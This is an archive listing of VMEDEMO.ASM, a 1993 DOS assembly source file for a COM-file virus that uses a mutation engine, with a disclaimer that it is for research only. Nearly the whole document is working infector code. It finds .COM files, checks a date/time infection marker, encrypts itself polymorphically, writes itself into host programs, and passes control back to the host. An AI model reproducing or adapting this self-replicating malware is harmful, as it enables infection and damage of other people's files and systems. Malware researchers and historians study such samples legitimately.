home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / PMUPDT13.ZIP / VME.ZIP / VMEDEMO.ASM < prev   
Encoding:
Assembly Source File  |  1993-04-15  |  6.9 KB  |  166 lines

  1. ;VMEDEMO.ASM
  2. ;A small Visible Mutation Engine based COM infector.
  3.  
  4. ;This Virus for research purposes only. Please do not release!
  5. ;Please execute it only on a carefully controlled system, and only
  6. ;if you know what you're doing!
  7.  
  8.                 .model  tiny            ;Tiny model to create a COM file
  9.  
  10.                 .code
  11.  
  12.                 extrn   host:near               ;host program
  13.                 extrn   encrypt:near            ;eagle mutation engine
  14.  
  15. ;DTA definitions
  16. DTA             EQU     0000H           ;Disk transfer area
  17. FSIZE           EQU     DTA+1AH         ;file size location in file search
  18. FNAME           EQU     DTA+1EH         ;file name location in file search
  19.  
  20.                 ORG     100H
  21.  
  22. ;******************************************************************************
  23. ;The virus starts here.
  24.  
  25. VIRSTART:
  26.                 call    GETLOC
  27. GETLOC:         pop     bp
  28.                 sub     bp,OFFSET GETLOC                ;heres where virus starts
  29.                 mov     ax,ds
  30.                 add     ax,1000H
  31.                 mov     es,ax                           ;upper segment is this one + 1000H
  32.  
  33. ;Now it's time to find a viable file to infect. We will look for any COM file
  34. ;and see if the virus is there already.
  35. FIND_FILE:
  36.                 push    ds
  37.                 mov     ds,ax
  38.                 xor     dx,dx                           ;move dta to high segment
  39.                 mov     ah,1AH                          ;so we don't trash the command line
  40.                 int     21H                             ;which the host is expecting
  41.                 pop     ds
  42.                 mov     dx,OFFSET COMFILE
  43.                 add     dx,bp
  44.                 mov     ch,3FH                          ;search for any file, no matter what attribute
  45.                 mov     ah,4EH                          ;DOS search first function
  46.                 int     21H
  47. CHECK_FILE:     jnc     NXT1
  48.                 jmp     ALLDONE                         ;no COM files to infect
  49. NXT1:           mov     dx,FNAME                        ;first open the file
  50.                 push    ds
  51.                 push    es
  52.                 pop     ds
  53.                 mov     ax,3D02H                        ;r/w access open file, since we'll want to write to it
  54.                 int     21H
  55.                 pop     ds
  56.                 jc      NEXT_FILE
  57.                 mov     bx,ax                           ;put file handle in bx, and leave it there for the duration
  58.                 mov     ax,5700H                        ;get file attribute
  59.                 int     21H
  60.                 mov     ax,cx
  61.                 xor     ax,dx                           ;date xor time mod 10 = 3 for infected file
  62.                 xor     dx,dx
  63.                 mov     cx,10
  64.                 div     cx
  65.                 cmp     dx,3
  66.                 jnz     INFECT_FILE                     ;not 3, go infect
  67.  
  68. NEXT_FILE:      mov     ah,4FH                          ;look for another file
  69.                 int     21H
  70.                 jmp     SHORT CHECK_FILE                ;and go check it out
  71.  
  72. COMFILE         DB      '*.COM',0
  73.  
  74. ;When we get here, we've opened a file successfully, and read it into memory.
  75. ;In the high segment, the file is set up exactly as it will look when infected.
  76. ;Thus, to infect, we just rewrite the file from the start, using the image
  77. ;in the high segment.
  78. INFECT_FILE:
  79.                 push    bx                              ;save file handle
  80.                 mov     si,100H                         ;ds:si==>code to encrypt
  81.                 add     si,bp
  82.                 mov     di,100H                         ;es:di==>@ of encr code
  83. ;                mov     dx,32                           ;decryptor size
  84.                 xor     dx,dx                           ;random decryptor size
  85.                 mov     cx,OFFSET HOST - 100H           ;size of code to encrypt
  86.                 mov     bx,100H                         ;starting offset
  87.                 call    ENCRYPT                         ;on exit, es:di=code cx=size
  88.                 pop     bx
  89.  
  90.                 push    ds
  91.                 push    es
  92.                 pop     ds
  93.                 push    cx
  94.                 mov     di,FSIZE
  95.                 mov     dx,cx
  96.                 add     dx,100H                         ;put host here
  97.                 mov     cx,[di]                         ;get file size for reading into buffer
  98.                 mov     ah,3FH                          ;DOS read function
  99.                 int     21H
  100.  
  101.                 xor     cx,cx
  102.                 mov     dx,cx                           ;reset file pointer to start of file
  103.                 mov     ax,4200H
  104.                 int     21H
  105.                 pop     cx
  106.                 add     cx,[di]
  107.  
  108.                 mov     dx,100H
  109.                 mov     ah,40H
  110.                 int     21H                             ;write encrypted virus to file
  111.                 pop     ds
  112.  
  113.                 mov     ax,5700H                        ;get date & time on file
  114.                 int     21H
  115.                 push    dx
  116.                 mov     ax,cx                           ;fix it
  117.                 xor     ax,dx
  118.                 mov     cx,10
  119.                 xor     dx,dx
  120.                 div     cx
  121.                 mul     cx
  122.                 add     ax,3
  123.                 pop     dx
  124.                 xor     ax,dx
  125.                 mov     cx,ax
  126.                 mov     ax,5701H                        ;and save it
  127.                 int     21H
  128.  
  129. EXIT_ERR:
  130.                 mov     ah,3EH                          ;close the file
  131.                 int     21H
  132.  
  133. ;The infection process is now complete. This routine moves the host program
  134. ;down so that its code starts at offset 100H, and then transfers control to it.
  135. ALLDONE:
  136.                 mov     ax,ss                   ;set ds, es to low segment again
  137.                 mov     ds,ax
  138.                 mov     es,ax
  139.                 pushf
  140.                 push    ax                      ;prep for iret to host
  141.                 mov     dx,80H                  ;restore dta to original value
  142.                 mov     ah,1AH                  ;for compatibility
  143.                 int     21H
  144.                 mov     di,100H                 ;prep to move host back to original location
  145.                 mov     si,OFFSET HOST
  146.                 add     si,bp
  147.                 push    di
  148.                 mov     ax,sp
  149.                 sub     ax,6
  150.                 push    ax
  151.                 mov     ax,00CFH                ;iret on the stack
  152.                 push    ax
  153.                 mov     ax,0A4F3H               ;rep movsb on the stack
  154.                 push    ax
  155.                 mov     cx,sp                   ;move code, but don't trash the stack
  156.                 sub     cx,si
  157.                 cli                             ;don't allow stack to trash while we go crazy
  158.                 add     sp,4
  159.                 ret
  160.  
  161.                 END     VIRSTART
  162.  
  163.  
  164.  
  165.  
  166.